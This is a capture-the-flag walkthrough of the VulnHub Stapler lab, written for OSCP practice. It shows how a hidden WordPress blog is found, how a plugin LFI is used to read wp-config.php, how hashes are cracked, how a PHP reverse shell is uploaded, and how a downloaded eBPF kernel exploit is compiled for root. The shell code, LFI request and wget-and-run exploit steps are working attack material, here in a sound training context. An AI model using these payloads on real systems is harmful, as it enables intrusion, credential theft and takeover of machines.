Stapler – A Second Approach (OSCP Prep)

Introduction
In the first VulnHub Stapler walkthrough, we managed a very easy path to a shell by enumerating usernames over SMB and brute-forcing a password with Hydra. From there, some quick digging through the home directories revealed a plain-text password to an account with complete sudo
privileges. Root was trivial.
According to the machine’s description, there are at least two ways to get a limited shell on Stapler, and at least three ways to get root.
In this article, we will take a look at a different route to rooting this box through a “hidden” WordPress blog and a kernel exploit.
Tools
This write-up will assume you’ve already completed your initial port scan. Check out the first post for more details. In this part.
HTTPS on Port 12380
In the previous walkthrough, we performed a very basic enumeration of the web server running on port 12380. We used our browser to check out http://stapler:12380
and found basically nothing: a site on which every URL redirected to the index page.
However, a little more poking around here can bring up some interesting results.
Let’s start with a Nikto scan:
┌──(ori0n㉿kali)-[~/stapler]
└─$ nikto -h stapler:12380 -o scans/nikto12380.txt
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.0.10.123
+ Target Hostname: stapler
+ Target Port: 12380
---------------------------------------------------------------------------
+ SSL Info: Subject: /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Inite
ch/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
Ciphers: ECDHE-RSA-AES256-GCM-SHA384
Issuer: /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Inite
ch/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
+ Start Time: 2021-08-09 12:38:30 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'dave' found, with contents: Soemthing doesn't look right here
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a dif
ferent fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/admin112233/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/blogblog/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 2 entries which should be manually viewed.
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Hostname 'stapler' does not match certificate's names: Red.Initech
+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ 7837 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time: 2021-08-09 12:41:49 (GMT-5) (199 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
We have a number of goodies here: an SSL certificate, a strange header field, and some directories pulled from robots.txt
.
The most important takeaway is the SSL certificate. We lost the trail the first time through because we only enumerated the port using plain-text HTTP.
Armed with this new knowledge, point your browser to https://stapler:12380
.
Let’s take a look at these “hidden” directories. The /admin112233/
directory looks enticing.
It looks like g0tmi1k is trolling us a bit…
Moving on to the blog, we see what appears to be a WordPress installation.
Enumerating WordPress
At this point, we could use WPScan, but let’s see if we can do some manual enumeration.
Point your browser to https://stapler/blogblog/wp-content
.
It seems we have directory listings enabled! Looking into the uploads
directory reveals nothing, but what about plugins?
This Advanced Video Embed plugin looks interesting. What does SearchSploit have to say about it?
┌──(ori0n㉿kali)-[~/stapler]
└─$ searchsploit wordpress advanced video
----------------------------------------------------------- ----------------------
Exploit Title | Path
----------------------------------------------------------- ----------------------
WordPress Plugin Advanced Video 1.0 - Local File Inclusion | php/webapps/39646.py
----------------------------------------------------------- ----------------------
Shellcodes: No Results
We have a hit. I downloaded and attempted to use this Python exploit against the Stapler box, but it didn’t work without some heavy modification. Let’s take a look at exploiting this vulnerability manually.
(NOTE: I have rewritten the exploit for Python 3 and added a few features. Check it out on GitHub.)
Exploiting Advanced Video Manually
It isn’t difficult to figure out how this exploit works after a quick scan through the source code. Basically, it’s making three requests to the server:
- First, it makes a request to
/wp-admin/admni-ajax.php
with a number of parameters. This is actually creating a new post on the blog without authentication. On closer inspection, we see thethumb
parameter is being passed../wp-config.php
. This looks like our LFI vector. - The script uses a post ID extracted from the response to the first request to read the created post. It then searches the HTML for a line with a set of classes denoting a thumbnail image (remember the
thumb
parameter from before?) and extracts the URL of the image. - It pulls down the “image,” which will actually be a copy of the file we specified in the
thumb
parameter above.
We can rip the first request directly from the script and substitute str(randomID)
in the title
parameter with a string of our choosing:
https://stapler:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=Pwnd&short=rnd&term=rnd&thumb=../wp-config.php
It seems to work. The server replies with location of our new post, however we get a 404 when attempting to read the page.
No big deal. Head back to the front page of the blog.
Notice the Alt text of the missing image. That should be our target file. We can look to the src
property of the image tag and copy the URL of the image. Then use curl to grab it.
┌──(ori0n㉿kali)-[~/stapler]
└─$ curl -k https://10.0.10.123:12380/blogblog/wp-content/uploads/1662599687.jpeg
<?php
/**
* The base configurations of the WordPress.
*
* This file has the following configurations: MySQL settings, Table Prefix,
* Secret Keys, and ABSPATH. You can find more information by visiting
* {@link https://codex.wordpress.org/Editing_wp-config.php Editing wp-config.php}
* Codex page. You can get the MySQL settings from your web host.
*
* This file is used by the wp-config.php creation script during the
* installation. You don't have to use the web site, you can just copy this file
* to "wp-config.php" and fill in the values.
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'plbkac');
/** MySQL hostname */
define('DB_HOST', 'localhost');
...
It worked!
Gaining a Foothold
Near the top of the wp-config.php
file, we have plain-text creds to the MySQL database server. Remember the phpmyadmin
directory from the Nikto scan? Let’s have a look 😉
We know the WordPress installation will store user password hashes in a database, so the wordpress
database is a good place to start. Click the SQL tab and enter the query: SELECT user_login,user_pass FROM wp_users
. Click “Go” and we get a dump of the hashes.
We can use phpMyAdmin to export these to CSV for easy cleanup and send them off to John with the rockyou.txt
wordlist.
┌──(ori0n㉿kali)-[~/stapler]
└─$ john wp_users.txt --wordlist=/usr/share/wordlists/passwords/rockyou.txt
Using default input encoding: UTF-8
Loaded 16 password hashes with 16 different salts (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cookie (scott)
monkey (harry)
football (garry)
coolgirl (kathy)
John cracks a few of the hashes immediately. We can use these creds to log in to WordPress, but none of the accounts have any real privileges. After some time, we finally get something we can use: john:incorrect
.
Getting a Shell
Now we have administrator access to the WordPress application. How can we leverage this to get ourselves a shell?
Let’s try to add a plugin. From the side menu, hover over the plugins icon, and select “Add New” from the menu.
Next, click “Upload Plugin.” The next page tells us that the plugin needs to be in Zip format, but what if we just upload a PHP file?
We’ll write a quick PHP reverse shell script and try to upload it. Save the following code to a PHP file. I’ll call it rev.php
.
<?php
if (!isset($_REQUEST['ip']) ||
!isset($_REQUEST['port'])) {
echo "Forgetting something?";
exit(-1);
}
$ip = $_REQUEST['ip'];
$port = $_REQUEST['port'];
$sock = fsockopen($ip,$port);
proc_open("/bin/bash -li", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>
Browse for the PHP file and click ‘Install Now.’ The application will now ask us for some FTP information, but we can ignore this. Let’s check the uploads
directory to see if we managed to get our PHP shell to the server.
Now let’s get a reverse shell. Start a Netcat listener and navigate to https://stapler:12380/blogblog/wp-content/uploads/rev.php?ip=10.0.10.10&port=9000
.
Getting root
In our first walkthrough of Stapler, we were able to find a plain-text password for the peter
user who had full sudo
privileges on the box. It was then as easy as sudo -s
to get ourselves a root shell.
In this second look at the Stapler box, we will go a different route: kernel exploitation.
As this machine was authored by g0tmi1k, we’ll use his own Basic Linux Privilege Escalation guide as a cheat sheet.
Let’s determine our distro and kernel version.
www-data@red:/tmp$ cat /etc/*-release
cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04 LTS"
NAME="Ubuntu"
VERSION="16.04 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
UBUNTU_CODENAME=xenial
www-data@red:/tmp$ cat /proc/version
cat /proc/version
Linux version 4.4.0-21-generic (buildd@lgw01-06) (gcc version 5.3.1 20160413 (Ubuntu 5.3.1-14ubuntu2) ) #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016
So we appear to be on a Ubuntu 16.04 system running the kernel version 4.4.0-21-generic
.
There are many potential exploits found between Google and SearchSploit, but most failed on this system. With more digging, we come across a double-fdput() exploit. From the description:
In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the
kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime,
unprivileged code can use the bpf() syscall to load eBPF socket filter programs.
These conditions are fulfilled in Ubuntu 16.04.
We can verify our target system appears to be vulnerable:
www-data@red:/tmp$ cat /proc/sys/kernel/unprivileged_bpf_disabled
cat /proc/sys/kernel/unprivileged_bpf_disabled
0
There is a proof of concept exploit at the bottom of the description. We can download it directly to the target, unpack, and compile.
www-data@red:/tmp$ wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
<security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
--2021-08-11 01:36:52-- https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
Resolving github.com (github.com)... 140.82.113.3
Connecting to github.com (github.com)|140.82.113.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/offensive-security/exploitdb-bin-sploits/master/bin-sploits/39772.zip [following]
--2021-08-11 01:36:53-- https://raw.githubusercontent.com/offensive-security/exploitdb-bin-sploits/master/bin-sploits/39772.zip
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7025 (6.9K) [application/zip]
Saving to: '39772.zip'
0K ...... 100% 14.1M=0s
2021-08-11 01:36:53 (14.1 MB/s) - '39772.zip' saved [7025/7025]
www-data@red:/tmp$ unzip 39772.zip
unzip 39772.zip
Archive: 39772.zip
creating: 39772/
inflating: 39772/.DS_Store
creating: __MACOSX/
creating: __MACOSX/39772/
inflating: __MACOSX/39772/._.DS_Store
inflating: 39772/crasher.tar
inflating: __MACOSX/39772/._crasher.tar
inflating: 39772/exploit.tar
inflating: __MACOSX/39772/._exploit.tar
www-data@red:/tmp$ tar xf exploit.tar
tar xf exploit.tar
tar: exploit.tar: Cannot open: No such file or directory
tar: Error is not recoverable: exiting now
www-data@red:/tmp$ cd 39772
cd 39772
www-data@red:/tmp/39772$ tar xf exploit.tar
tar xf exploit.tar
www-data@red:/tmp/39772$ ls
ls
crasher.tar
ebpf_mapfd_doubleput_exploit
exploit.tar
www-data@red:/tmp/39772$ cd ebpf_mapfd_doubleput_exploit
cd ebpf_mapfd_doubleput_exploit
www-data@red:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls
ls
compile.sh
doubleput.c
hello.c
suidhelper.c
www-data@red:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./compile.sh
./compile.sh
doubleput.c: In function 'make_setuid':
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.insns = (__aligned_u64) insns,
^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.license = (__aligned_u64)""
Now we run the exploit. And we wait…
www-data@red:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./doubleput
./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
Well that looks promising!
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
cd /root
cat flag.txt
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
.-'''''-.
|'-----'|
|-.....-|
| |
| |
_,._ | |
__.o` o`"-. | |
.-O o `"-.o O )_,._ | |
( o O o )--.-"`O o"-.`'-----'`
'--------' ( o O o)
`----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b
And we get some milk and cookies from g0tmi1k for our efforts 🙂
Wrapping Up
There you have it. We’ve now beaten the Stapler machine using two distinct attack vectors. But why? We got root easily the first time through. Why would we do the machine all over again using a different path?
Whether you are studying for the OSCP or playing for fun, going through these boxes as many ways as possible will help improve your skills as a penetration tester. With a some intuition and a bit of luck, this machine was very simple using the method outlined in the first walkthrough. We simply enumerated some usernames and we got lucky when one poor sap happened to be reusing his username as his password. However, we will not always get so lucky. It’s important to be prepared for any situation you may encounter while attacking a machine.
Leave a Reply